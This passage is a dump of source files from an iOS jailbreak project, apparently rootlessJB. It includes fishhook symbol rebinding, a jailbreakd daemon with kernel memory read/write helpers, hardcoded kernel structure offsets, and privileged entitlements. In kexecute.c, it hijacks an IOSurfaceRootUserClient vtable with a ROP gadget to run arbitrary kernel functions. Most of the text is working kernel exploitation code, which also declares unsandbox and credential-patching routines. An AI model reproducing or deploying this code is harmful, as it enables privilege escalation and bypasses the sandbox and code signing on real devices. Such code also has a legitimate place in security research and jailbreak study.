103 | indirect_symbol_bindings[i] != cur->rebindings[j].replacement) {
104 | *(cur->rebindings[j].replaced) = indirect_symbol_bindings[i];
105 | }
106 | indirect_symbol_bindings[i] = cur->rebindings[j].replacement;
107 | goto symbol_loop;
108 | }
109 | }
110 | cur = cur->next;
111 | }
112 | symbol_loop:;
113 | }
114 | }
115 |
116 | static void rebind_symbols_for_image(struct rebindings_entry *rebindings,
117 | const struct mach_header *header,
118 | intptr_t slide) {
119 | Dl_info info;
120 | if (dladdr(header, &info) == 0) {
121 | return;
122 | }
123 |
124 | segment_command_t *cur_seg_cmd;
125 | segment_command_t *linkedit_segment = NULL;
126 | struct symtab_command* symtab_cmd = NULL;
127 | struct dysymtab_command* dysymtab_cmd = NULL;
128 |
129 | uintptr_t cur = (uintptr_t)header + sizeof(mach_header_t);
130 | for (uint i = 0; i < header->ncmds; i++, cur += cur_seg_cmd->cmdsize) {
131 | cur_seg_cmd = (segment_command_t *)cur;
132 | if (cur_seg_cmd->cmd == LC_SEGMENT_ARCH_DEPENDENT) {
133 | if (strcmp(cur_seg_cmd->segname, SEG_LINKEDIT) == 0) {
134 | linkedit_segment = cur_seg_cmd;
135 | }
136 | } else if (cur_seg_cmd->cmd == LC_SYMTAB) {
137 | symtab_cmd = (struct symtab_command*)cur_seg_cmd;
138 | } else if (cur_seg_cmd->cmd == LC_DYSYMTAB) {
139 | dysymtab_cmd = (struct dysymtab_command*)cur_seg_cmd;
140 | }
141 | }
142 |
143 | if (!symtab_cmd || !dysymtab_cmd || !linkedit_segment ||
144 | !dysymtab_cmd->nindirectsyms) {
145 | return;
146 | }
147 |
148 | // Find base symbol/string table addresses
149 | uintptr_t linkedit_base = (uintptr_t)slide + linkedit_segment->vmaddr - linkedit_segment->fileoff;
150 | nlist_t *symtab = (nlist_t *)(linkedit_base + symtab_cmd->symoff);
151 | char *strtab = (char *)(linkedit_base + symtab_cmd->stroff);
152 |
153 | // Get indirect symbol table (array of uint32_t indices into symbol table)
154 | uint32_t *indirect_symtab = (uint32_t *)(linkedit_base + dysymtab_cmd->indirectsymoff);
155 |
156 | cur = (uintptr_t)header + sizeof(mach_header_t);
157 | for (uint i = 0; i < header->ncmds; i++, cur += cur_seg_cmd->cmdsize) {
158 | cur_seg_cmd = (segment_command_t *)cur;
159 | if (cur_seg_cmd->cmd == LC_SEGMENT_ARCH_DEPENDENT) {
160 | if (strcmp(cur_seg_cmd->segname, SEG_DATA) != 0 &&
161 | strcmp(cur_seg_cmd->segname, SEG_DATA_CONST) != 0) {
162 | continue;
163 | }
164 | for (uint j = 0; j < cur_seg_cmd->nsects; j++) {
165 | section_t *sect =
166 | (section_t *)(cur + sizeof(segment_command_t)) + j;
167 | if ((sect->flags & SECTION_TYPE) == S_LAZY_SYMBOL_POINTERS) {
168 | perform_rebinding_with_section(rebindings, sect, slide, symtab, strtab, indirect_symtab);
169 | }
170 | if ((sect->flags & SECTION_TYPE) == S_NON_LAZY_SYMBOL_POINTERS) {
171 | perform_rebinding_with_section(rebindings, sect, slide, symtab, strtab, indirect_symtab);
172 | }
173 | }
174 | }
175 | }
176 | }
177 |
178 | static void _rebind_symbols_for_image(const struct mach_header *header,
179 | intptr_t slide) {
180 | rebind_symbols_for_image(_rebindings_head, header, slide);
181 | }
182 |
183 | int rebind_symbols_image(void *header,
184 | intptr_t slide,
185 | struct rebinding rebindings[],
186 | size_t rebindings_nel) {
187 | struct rebindings_entry *rebindings_head = NULL;
188 | int retval = prepend_rebindings(&rebindings_head, rebindings, rebindings_nel);
189 | rebind_symbols_for_image(rebindings_head, (const struct mach_header *) header, slide);
190 | free(rebindings_head);
191 | return retval;
192 | }
193 |
194 | int rebind_symbols(struct rebinding rebindings[], size_t rebindings_nel) {
195 | int retval = prepend_rebindings(&_rebindings_head, rebindings, rebindings_nel);
196 | if (retval < 0) {
197 | return retval;
198 | }
199 | // If this was the first call, register callback for image additions (which is also invoked for
200 | // existing images, otherwise, just run on existing images
201 | if (!_rebindings_head->next) {
202 | _dyld_register_func_for_add_image(_rebind_symbols_for_image);
203 | } else {
204 | uint32_t c = _dyld_image_count();
205 | for (uint32_t i = 0; i < c; i++) {
206 | _rebind_symbols_for_image(_dyld_get_image_header(i), _dyld_get_image_vmaddr_slide(i));
207 | }
208 | }
209 | return retval;
210 | }
211 |
--------------------------------------------------------------------------------
/empty_list/fishhook/fishhook.h:
--------------------------------------------------------------------------------
1 | // Copyright (c) 2013, Facebook, Inc.
2 | // All rights reserved.
3 | // Redistribution and use in source and binary forms, with or without
4 | // modification, are permitted provided that the following conditions are met:
5 | // * Redistributions of source code must retain the above copyright notice,
6 | // this list of conditions and the following disclaimer.
7 | // * Redistributions in binary form must reproduce the above copyright notice,
8 | // this list of conditions and the following disclaimer in the documentation
9 | // and/or other materials provided with the distribution.
10 | // * Neither the name Facebook nor the names of its contributors may be used to
11 | // endorse or promote products derived from this software without specific
12 | // prior written permission.
13 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
14 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
15 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
16 | // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
17 | // FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
18 | // DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
19 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
20 | // CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
21 | // OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
22 | // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
23 |
24 | #ifndef fishhook_h
25 | #define fishhook_h
26 |
27 | #include
28 | #include
29 |
30 | #if !defined(FISHHOOK_EXPORT)
31 | #define FISHHOOK_VISIBILITY __attribute__((visibility("hidden")))
32 | #else
33 | #define FISHHOOK_VISIBILITY __attribute__((visibility("default")))
34 | #endif
35 |
36 | #ifdef __cplusplus
37 | extern "C" {
38 | #endif //__cplusplus
39 |
40 | /*
41 | * A structure representing a particular intended rebinding from a symbol
42 | * name to its replacement
43 | */
44 | struct rebinding {
45 | const char *name;
46 | void *replacement;
47 | void **replaced;
48 | };
49 |
50 | /*
51 | * For each rebinding in rebindings, rebinds references to external, indirect
52 | * symbols with the specified name to instead point at replacement for each
53 | * image in the calling process as well as for all future images that are loaded
54 | * by the process. If rebind_functions is called more than once, the symbols to
55 | * rebind are added to the existing list of rebindings, and if a given symbol
56 | * is rebound more than once, the later rebinding will take precedence.
57 | */
58 | FISHHOOK_VISIBILITY
59 | int rebind_symbols(struct rebinding rebindings[], size_t rebindings_nel);
60 |
61 | /*
62 | * Rebinds as above, but only in the specified image. The header should point
63 | * to the mach-o header, the slide should be the slide offset. Others as above.
64 | */
65 | FISHHOOK_VISIBILITY
66 | int rebind_symbols_image(void *header,
67 | intptr_t slide,
68 | struct rebinding rebindings[],
69 | size_t rebindings_nel);
70 |
71 | #ifdef __cplusplus
72 | }
73 | #endif //__cplusplus
74 |
75 | #endif //fishhook_h
76 |
77 |
--------------------------------------------------------------------------------
/empty_list/iosbinpack.tar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list/iosbinpack.tar
--------------------------------------------------------------------------------
/empty_list/jailbreakd/Ent.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | platform-application
6 |
7 | get-task-allow
8 |
9 | com.apple.system-task-ports
10 |
11 | task_for_pid-allow
12 |
13 | com.apple.private.memorystatus
14 |
15 | com.apple.private.security.container-required
16 |
17 |
18 |
19 |
20 |
--------------------------------------------------------------------------------
/empty_list/jailbreakd/Makefile:
--------------------------------------------------------------------------------
1 | TARGET = jailbreakd
2 | OUTDIR ?= bin
3 |
4 | CC = xcrun -sdk iphoneos cc -arch arm64
5 | LDID = ldid
6 | CFLAGS = -Wall -Wno-unused-variable -Wno-unused-function
7 |
8 | .PHONY: all clean
9 |
10 | all: $(OUTDIR)/$(TARGET)
11 |
12 | DEBUG ?= 0
13 | ifeq ($(DEBUG), 1)
14 | CFLAGS += -DJAILBREAKDDEBUG
15 | else
16 | CFLAGS += -O2
17 | endif
18 |
19 | $(OUTDIR):
20 | mkdir -p $(OUTDIR)
21 |
22 | $(OUTDIR)/$(TARGET): *.c *.m | $(OUTDIR)
23 | $(CC) -o $@ $^ -framework Foundation -framework IOKit $(CFLAGS)
24 | $(LDID) -SEnt.plist $@
25 |
26 | clean:
27 | rm -f $(OUTDIR)/$(TARGET)
28 |
--------------------------------------------------------------------------------
/empty_list/jailbreakd/kern_utils.h:
--------------------------------------------------------------------------------
1 | #import
2 | #import
3 | #import
4 | #import
5 | #import
6 |
7 | kern_return_t mach_vm_read(
8 | vm_map_t target_task,
9 | mach_vm_address_t address,
10 | mach_vm_size_t size,
11 | vm_offset_t *data,
12 | mach_msg_type_number_t *dataCnt);
13 |
14 | /****** IOKit/IOKitLib.h *****/
15 | typedef mach_port_t io_service_t;
16 | typedef mach_port_t io_connect_t;
17 |
18 | extern const mach_port_t kIOMasterPortDefault;
19 | #define IO_OBJECT_NULL (0)
20 |
21 | kern_return_t
22 | IOConnectCallAsyncMethod(
23 | mach_port_t connection,
24 | uint32_t selector,
25 | mach_port_t wakePort,
26 | uint64_t* reference,
27 | uint32_t referenceCnt,
28 | const uint64_t* input,
29 | uint32_t inputCnt,
30 | const void* inputStruct,
31 | size_t inputStructCnt,
32 | uint64_t* output,
33 | uint32_t* outputCnt,
34 | void* outputStruct,
35 | size_t* outputStructCntP);
36 |
37 | kern_return_t
38 | IOConnectCallMethod(
39 | mach_port_t connection,
40 | uint32_t selector,
41 | const uint64_t* input,
42 | uint32_t inputCnt,
43 | const void* inputStruct,
44 | size_t inputStructCnt,
45 | uint64_t* output,
46 | uint32_t* outputCnt,
47 | void* outputStruct,
48 | size_t* outputStructCntP);
49 |
50 | io_service_t
51 | IOServiceGetMatchingService(
52 | mach_port_t _masterPort,
53 | CFDictionaryRef matching);
54 |
55 | CFMutableDictionaryRef
56 | IOServiceMatching(
57 | const char* name);
58 |
59 | kern_return_t
60 | IOServiceOpen(
61 | io_service_t service,
62 | task_port_t owningTask,
63 | uint32_t type,
64 | io_connect_t* connect );
65 |
66 | kern_return_t IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6);
67 | kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize);
68 | kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt);
69 | kern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags);
70 | kern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size);
71 |
72 | uint64_t find_port(mach_port_name_t port);
73 |
74 | void fixupsetuid(int pid);
75 |
76 | int setcsflagsandplatformize(int pd);
77 |
78 | int unsandbox(int pd);
79 |
80 | extern mach_port_t tfpzero;
81 | extern uint64_t kernel_base;
82 | extern uint64_t kernel_slide;
83 |
84 |
--------------------------------------------------------------------------------
/empty_list/jailbreakd/kexecute.c:
--------------------------------------------------------------------------------
1 | #include "kmem.h"
2 | #include "kexecute.h"
3 | #include "kern_utils.h"
4 | #include "patchfinder64.h"
5 | #include "offsetof.h"
6 |
7 | mach_port_t prepare_user_client(void) {
8 | kern_return_t err;
9 | mach_port_t user_client;
10 | io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
11 |
12 | if (service == IO_OBJECT_NULL){
13 | printf(" [-] unable to find service\n");
14 | exit(EXIT_FAILURE);
15 | }
16 |
17 | err = IOServiceOpen(service, mach_task_self(), 0, &user_client);
18 | if (err != KERN_SUCCESS){
19 | printf(" [-] unable to get user client connection\n");
20 | exit(EXIT_FAILURE);
21 | }
22 |
23 |
24 | printf("got user client: 0x%x\n", user_client);
25 | return user_client;
26 | }
27 |
28 | static int kexecute_lock = 0;
29 | static mach_port_t user_client;
30 | static uint64_t IOSurfaceRootUserClient_port;
31 | static uint64_t IOSurfaceRootUserClient_addr;
32 | static uint64_t fake_vtable;
33 | static uint64_t fake_client;
34 | const int fake_kalloc_size = 0x1000;
35 |
36 | void init_kexecute(void) {
37 | user_client = prepare_user_client();
38 |
39 | // From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable
40 | IOSurfaceRootUserClient_port = find_port(user_client); // UserClients are just mach_ports, so we find its address
41 | printf("Found port: 0x%llx\n", IOSurfaceRootUserClient_port);
42 |
43 | IOSurfaceRootUserClient_addr = rk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject); // The UserClient itself (the C++ object) is at the kobject field
44 | printf("Found addr: 0x%llx\n", IOSurfaceRootUserClient_addr);
45 |
46 | uint64_t IOSurfaceRootUserClient_vtab = rk64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object
47 | printf("Found vtab: 0x%llx\n", IOSurfaceRootUserClient_vtab);
48 |
49 | // The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one
50 | // Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel
51 |
52 |
53 | // Create the vtable in the kernel memory, then copy the existing vtable into there
54 | fake_vtable = kalloc(fake_kalloc_size);
55 | printf("Created fake_vtable at %016llx\n", fake_vtable);
56 |
57 | for (int i = 0; i < 0x200; i++) {
58 | wk64(fake_vtable+i*8, rk64(IOSurfaceRootUserClient_vtab+i*8));
59 | }
60 |
61 | printf("Copied some of the vtable over\n");
62 |
63 | // Create the fake user client
64 | fake_client = kalloc(fake_kalloc_size);
65 | printf("Created fake_client at %016llx\n", fake_client);
66 |
67 | for (int i = 0; i < 0x200; i++) {
68 | wk64(fake_client+i*8, rk64(IOSurfaceRootUserClient_addr+i*8));
69 | }
70 |
71 | printf("Copied the user client over\n");
72 |
73 | // Write our fake vtable into the fake user client
74 | wk64(fake_client, fake_vtable);
75 |
76 | // Replace the user client with ours
77 | wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, fake_client);
78 |
79 | // Now the userclient port we have will look into our fake user client rather than the old one
80 |
81 | // Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;)
82 | wk64(fake_vtable+8*0xB7, find_add_x0_x0_0x40_ret());
83 |
84 | printf("Wrote the `add x0, x0, #0x40; ret;` gadget over getExternalTrapForIndex");
85 | }
86 |
87 | void term_kexecute(void) {
88 | wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, IOSurfaceRootUserClient_addr);
89 | kfree(fake_vtable, fake_kalloc_size);
90 | kfree(fake_client, fake_kalloc_size);
91 | }
92 |
93 | uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) {
94 | while (kexecute_lock){
95 | printf("Kexecute locked. Waiting for 10ms.");
96 | usleep(10000);
97 | }
98 |
99 | kexecute_lock = 1;
100 |
101 | // When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex
102 | // to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap.
103 | // This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the
104 | // function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed
105 | // through like normal.
106 |
107 | // Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it
108 | // We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents
109 | // (i'm not actually sure if the switch back is necessary but meh)
110 |
111 | uint64_t offx20 = rk64(fake_client+0x40);
112 | uint64_t offx28 = rk64(fake_client+0x48);
113 | wk64(fake_client+0x40, x0);
114 | wk64(fake_client+0x48, addr);
115 | uint64_t returnval = IOConnectTrap6(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6));
116 | wk64(fake_client+0x40, offx20);
117 | wk64(fake_client+0x48, offx28);
118 | kexecute_lock = 0;
119 | return returnval;
120 | }
--------------------------------------------------------------------------------
/empty_list/jailbreakd/kexecute.h:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6);
5 | void init_kexecute(void);
6 | void term_kexecute(void);
7 |
--------------------------------------------------------------------------------
/empty_list/jailbreakd/kmem.c:
--------------------------------------------------------------------------------
1 | #import "kern_utils.h"
2 | #import "patchfinder64.h"
3 | #import "kmem.h"
4 |
5 | #define MAX_CHUNK_SIZE 0xFFF
6 |
7 | size_t kread(uint64_t where, void *p, size_t size) {
8 | int rv;
9 | size_t offset = 0;
10 | while (offset < size) {
11 | mach_vm_size_t sz, chunk = MAX_CHUNK_SIZE;
12 | if (chunk > size - offset) {
13 | chunk = size - offset;
14 | }
15 | rv = mach_vm_read_overwrite(tfpzero, where + offset, chunk, (mach_vm_address_t)p + offset, &sz);
16 | if (rv || sz == 0) {
17 | fprintf(stderr, "[e] error reading kernel @%p\n", (void *)(offset + where));
18 | break;
19 | }
20 | offset += sz;
21 | }
22 | return offset;
23 | }
24 |
25 | size_t kwrite(uint64_t where, const void *p, size_t size) {
26 | int rv;
27 | size_t offset = 0;
28 | while (offset < size) {
29 | size_t chunk = MAX_CHUNK_SIZE;
30 | if (chunk > size - offset) {
31 | chunk = size - offset;
32 | }
33 | rv = mach_vm_write(tfpzero, where + offset, (mach_vm_offset_t)p + offset, chunk);
34 | if (rv) {
35 | fprintf(stderr, "[e] error writing kernel @%p\n", (void *)(offset + where));
36 | break;
37 | }
38 | offset += chunk;
39 | }
40 | return offset;
41 | }
42 |
43 | uint64_t kalloc(vm_size_t size){
44 | mach_vm_address_t address = 0;
45 | mach_vm_allocate(tfpzero, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE);
46 | return address;
47 | }
48 |
49 | void kfree(mach_vm_address_t address, vm_size_t size){
50 | mach_vm_deallocate(tfpzero, address, size);
51 | }
52 |
53 | uint32_t rk32(uint64_t kaddr) {
54 | uint32_t val = 0;
55 | kread(kaddr, &val, sizeof(val));
56 | return val;
57 | }
58 |
59 | uint64_t rk64(uint64_t kaddr) {
60 | uint64_t val = 0;
61 | kread(kaddr, &val, sizeof(val));
62 | return val;
63 | }
64 |
65 | void wk32(uint64_t kaddr, uint32_t val) {
66 | kwrite(kaddr, &val, sizeof(val));
67 | }
68 |
69 | void wk64(uint64_t kaddr, uint64_t val) {
70 | kwrite(kaddr, &val, sizeof(val));
71 | }
72 |
73 | // thx Siguza
74 | typedef struct {
75 | uint64_t prev;
76 | uint64_t next;
77 | uint64_t start;
78 | uint64_t end;
79 | } kmap_hdr_t;
80 |
81 | uint64_t zm_fix_addr(uint64_t addr) {
82 | static kmap_hdr_t zm_hdr = {0, 0, 0, 0};
83 |
84 | if (zm_hdr.start == 0) {
85 | // xxx rk64(0) ?!
86 | uint64_t zone_map = rk64(find_zone_map_ref());
87 | // hdr is at offset 0x10, mutexes at start
88 | size_t r = kread(zone_map + 0x10, &zm_hdr, sizeof(zm_hdr));
89 | printf("zm_range: 0x%llx - 0x%llx (read 0x%zx, exp 0x%zx)\n", zm_hdr.start, zm_hdr.end, r, sizeof(zm_hdr));
90 |
91 | if (r != sizeof(zm_hdr) || zm_hdr.start == 0 || zm_hdr.end == 0) {
92 | printf("kread of zone_map failed!\n");
93 | exit(1);
94 | }
95 |
96 | if (zm_hdr.end - zm_hdr.start > 0x100000000) {
97 | printf("zone_map is too big, sorry.\n");
98 | exit(1);
99 | }
100 | }
101 |
102 | uint64_t zm_tmp = (zm_hdr.start & 0xffffffff00000000) | ((addr) & 0xffffffff);
103 |
104 | return zm_tmp < zm_hdr.start ? zm_tmp + 0x100000000 : zm_tmp;
105 | }
106 |
107 | int kstrcmp(uint64_t kstr, const char* str) {
108 | // XXX be safer, dont just assume you wont cause any
109 | // page faults by this
110 | size_t len = strlen(str) + 1;
111 | char *local = malloc(len + 1);
112 | local[len] = '\0';
113 |
114 | int ret = 1;
115 |
116 | if (kread(kstr, local, len) == len) {
117 | ret = strcmp(local, str);
118 | }
119 |
120 | free(local);
121 |
122 | return ret;
123 | }
124 |
--------------------------------------------------------------------------------
/empty_list/jailbreakd/kmem.h:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | uint64_t kalloc(vm_size_t size);
4 | void kfree(mach_vm_address_t address, vm_size_t size);
5 |
6 | size_t kread(uint64_t where, void *p, size_t size);
7 | uint32_t rk32(uint64_t kaddr);
8 | uint64_t rk64(uint64_t kaddr);
9 |
10 | size_t kwrite(uint64_t where, const void *p, size_t size);
11 | void wk32(uint64_t kaddr, uint32_t val);
12 | void wk64(uint64_t kaddr, uint64_t val);
13 |
14 | uint64_t zm_fix_addr(uint64_t addr);
15 |
16 | int kstrcmp(uint64_t kstr, const char* str);
17 |
--------------------------------------------------------------------------------
/empty_list/jailbreakd/offsetof.c:
--------------------------------------------------------------------------------
1 |
2 | unsigned offsetof_p_pid = 0x10; // proc_t::p_pid
3 | unsigned offsetof_task = 0x18; // proc_t::task
4 | unsigned offsetof_p_uid = 0x30; // proc_t::p_uid
5 | unsigned offsetof_p_gid = 0x34; // proc_t::p_uid
6 | unsigned offsetof_p_ruid = 0x38; // proc_t::p_uid
7 | unsigned offsetof_p_rgid = 0x3c; // proc_t::p_uid
8 | unsigned offsetof_p_ucred = 0x100; // proc_t::p_ucred
9 | unsigned offsetof_p_csflags = 0x2a8; // proc_t::p_csflags
10 | unsigned offsetof_itk_self = 0xD8; // task_t::itk_self (convert_task_to_port)
11 | unsigned offsetof_itk_sself = 0xE8; // task_t::itk_sself (task_get_special_port)
12 | unsigned offsetof_itk_bootstrap = 0x2b8; // task_t::itk_bootstrap (task_get_special_port)
13 | unsigned offsetof_itk_space = 0x308; // task_t::itk_space
14 | unsigned offsetof_ip_mscount = 0x9C; // ipc_port_t::ip_mscount (ipc_port_make_send)
15 | unsigned offsetof_ip_srights = 0xA0; // ipc_port_t::ip_srights (ipc_port_make_send)
16 | unsigned offsetof_ip_kobject = 0x68; // ipc_port_t::ip_kobject
17 | unsigned offsetof_p_textvp = 0x248; // proc_t::p_textvp
18 | unsigned offsetof_p_textoff = 0x250; // proc_t::p_textoff
19 | unsigned offsetof_p_cputype = 0x2c0; // proc_t::p_cputype
20 | unsigned offsetof_p_cpu_subtype = 0x2c4; // proc_t::p_cpu_subtype
21 | unsigned offsetof_special = 2 * sizeof(long); // host::special
22 | unsigned offsetof_ipc_space_is_table = 0x20; // ipc_space::is_table?..
23 |
24 | unsigned offsetof_ucred_cr_uid = 0x18; // ucred::cr_uid
25 | unsigned offsetof_ucred_cr_ruid = 0x1c; // ucred::cr_ruid
26 | unsigned offsetof_ucred_cr_svuid = 0x20; // ucred::cr_svuid
27 | unsigned offsetof_ucred_cr_ngroups = 0x24; // ucred::cr_ngroups
28 | unsigned offsetof_ucred_cr_groups = 0x28; // ucred::cr_groups
29 | unsigned offsetof_ucred_cr_rgid = 0x68; // ucred::cr_rgid
30 | unsigned offsetof_ucred_cr_svgid = 0x6c; // ucred::cr_svgid
31 |
32 | unsigned offsetof_v_type = 0x70; // vnode::v_type
33 | unsigned offsetof_v_id = 0x74; // vnode::v_id
34 | unsigned offsetof_v_ubcinfo = 0x78; // vnode::v_ubcinfo
35 |
36 | unsigned offsetof_ubcinfo_csblobs = 0x50; // ubc_info::csblobs
37 |
38 | unsigned offsetof_csb_cputype = 0x8; // cs_blob::csb_cputype
39 | unsigned offsetof_csb_flags = 0x12; // cs_blob::csb_flags
40 | unsigned offsetof_csb_base_offset = 0x16; // cs_blob::csb_base_offset
41 | unsigned offsetof_csb_entitlements_offset = 0x98; // cs_blob::csb_entitlements
42 | unsigned offsetof_csb_signer_type = 0xA0; // cs_blob::csb_signer_type
43 | unsigned offsetof_csb_platform_binary = 0xA4; // cs_blob::csb_platform_binary
44 | unsigned offsetof_csb_platform_path = 0xA8; // cs_blob::csb_platform_path
45 |
46 | unsigned offsetof_t_flags = 0x3a0; // task::t_flags
47 |
--------------------------------------------------------------------------------
/empty_list/jailbreakd/offsetof.h:
--------------------------------------------------------------------------------
1 | extern unsigned offsetof_p_pid;
2 | extern unsigned offsetof_task;
3 | extern unsigned offsetof_p_uid;
4 | extern unsigned offsetof_p_gid;
5 | extern unsigned offsetof_p_ruid;
6 | extern unsigned offsetof_p_rgid;
7 | extern unsigned offsetof_p_ucred;
8 | extern unsigned offsetof_p_csflags;
9 | extern unsigned offsetof_itk_self;
10 | extern unsigned offsetof_itk_sself;
11 | extern unsigned offsetof_itk_bootstrap;
12 | extern unsigned offsetof_itk_space;
13 | extern unsigned offsetof_ip_mscount;
14 | extern unsigned offsetof_ip_srights;
15 | extern unsigned offsetof_ip_kobject;
16 | extern unsigned offsetof_p_textvp;
17 | extern unsigned offsetof_p_textoff;
18 | extern unsigned offsetof_p_cputype;
19 | extern unsigned offsetof_p_cpu_subtype;
20 | extern unsigned offsetof_special;
21 | extern unsigned offsetof_ipc_space_is_table;
22 |
23 | extern unsigned offsetof_ucred_cr_uid;
24 | extern unsigned offsetof_ucred_cr_ruid;
25 | extern unsigned offsetof_ucred_cr_gid;
26 | extern unsigned offsetof_ucred_cr_rgid;
27 | extern unsigned offsetof_ucred_cr_svgid;
28 | extern unsigned offsetof_ucred_cr_groups;
29 | extern unsigned offsetof_ucred_cr_ngroups;
30 | extern unsigned offsetof_ucred_cr_svuid;
31 |
32 | extern unsigned offsetof_v_type;
33 | extern unsigned offsetof_v_id;
34 | extern unsigned offsetof_v_ubcinfo;
35 |
36 | extern unsigned offsetof_ubcinfo_csblobs;
37 |
38 | extern unsigned offsetof_csb_cputype;
39 | extern unsigned offsetof_csb_flags;
40 | extern unsigned offsetof_csb_base_offset;
41 | extern unsigned offsetof_csb_entitlements_offset;
42 | extern unsigned offsetof_csb_signer_type;
43 | extern unsigned offsetof_csb_platform_binary;
44 | extern unsigned offsetof_csb_platform_path;
45 |
46 | extern unsigned offsetof_t_flags;
47 |
--------------------------------------------------------------------------------
/empty_list/jailbreakd/osobject.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include "kexecute.h"
3 | #include "kmem.h"
4 | #include "patchfinder64.h"
5 | #include "osobject.h"
6 |
7 | // offsets in vtable:
8 | static uint32_t off_OSDictionary_SetObjectWithCharP = sizeof(void*) * 0x1F;
9 | static uint32_t off_OSDictionary_GetObjectWithCharP = sizeof(void*) * 0x26;
10 | static uint32_t off_OSDictionary_Merge = sizeof(void*) * 0x23;
11 |
12 | static uint32_t off_OSArray_Merge = sizeof(void*) * 0x1E;
13 | static uint32_t off_OSArray_RemoveObject = sizeof(void*) * 0x20;
14 | static uint32_t off_OSArray_GetObject = sizeof(void*) * 0x22;
15 |
16 | static uint32_t off_OSObject_Release = sizeof(void*) * 0x05;
17 | static uint32_t off_OSObject_GetRetainCount = sizeof(void*) * 0x03;
18 | static uint32_t off_OSObject_Retain = sizeof(void*) * 0x04;
19 |
20 | static uint32_t off_OSString_GetLength = sizeof(void*) * 0x11;
21 |
22 | // 1 on success, 0 on error
23 | int OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val) {
24 | size_t len = strlen(key) + 1;
25 |
26 | uint64_t ks = kalloc(len);
27 | kwrite(ks, key, len);
28 |
29 | uint64_t vtab = rk64(dict);
30 | uint64_t f = rk64(vtab + off_OSDictionary_SetObjectWithCharP);
31 |
32 | int rv = (int) kexecute(f, dict, ks, val, 0, 0, 0, 0);
33 |
34 | kfree(ks, len);
35 |
36 | return rv;
37 | }
38 |
39 | // XXX it can return 0 in lower 32 bits but still be valid
40 | // fix addr of returned value and check if rk64 gives ptr
41 | // to vtable addr saved before
42 |
43 | // address if exists, 0 if not
44 | uint64_t _OSDictionary_GetItem(uint64_t dict, const char *key) {
45 | size_t len = strlen(key) + 1;
46 |
47 | uint64_t ks = kalloc(len);
48 | kwrite(ks, key, len);
49 |
50 | uint64_t vtab = rk64(dict);
51 | uint64_t f = rk64(vtab + off_OSDictionary_GetObjectWithCharP);
52 |
53 | int rv = (int) kexecute(f, dict, ks, 0, 0, 0, 0, 0);
54 |
55 | kfree(ks, len);
56 |
57 | return rv;
58 | }
59 |
60 | uint64_t OSDictionary_GetItem(uint64_t dict, const char *key) {
61 | uint64_t ret = _OSDictionary_GetItem(dict, key);
62 |
63 | if (ret != 0) {
64 | // XXX can it be not in zalloc?..
65 | ret = zm_fix_addr(ret);
66 | }
67 |
68 | return ret;
69 | }
70 |
71 | // 1 on success, 0 on error
72 | int OSDictionary_Merge(uint64_t dict, uint64_t aDict) {
73 | uint64_t vtab = rk64(dict);
74 | uint64_t f = rk64(vtab + off_OSDictionary_Merge);
75 |
76 | return (int) kexecute(f, dict, aDict, 0, 0, 0, 0, 0);
77 | }
